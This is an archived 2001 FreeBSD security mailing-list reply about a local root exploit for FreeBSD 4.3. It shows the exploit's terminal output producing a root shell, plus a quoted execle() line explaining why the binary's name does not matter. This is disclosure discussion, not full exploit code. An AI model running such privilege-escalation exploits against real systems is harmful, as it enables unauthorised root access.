From owner-freebsd-security  Thu Jul 12 10:37: 6 2001
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From: "Przemyslaw Frasunek" <venglin@freebsd.lublin.pl>
To: "Jason DiCioccio" <jdicioccio@epylon.com>
Cc: <security@freebsd.org>
References: <657B20E93E93D4118F9700D0B73CE3EA02FFEFB7@goofy.epylon.lan>
Subject: Re: FreeBSD 4.3 local root
Date: Thu, 12 Jul 2001 19:34:43 +0200
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> is the binary named 'vv' ?
> It has to be.

As I said, no it hasn't.

riget:venglin:~> ./dupa
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe4a
child=83578
Password:done

# id
uid=0(root) gid=1001(users) groups=1001(users), 99(rexec)

Thats because execl() calls argv[0]:

[...]
if(!execle(av[0],"vv",NULL,environ))
[...]

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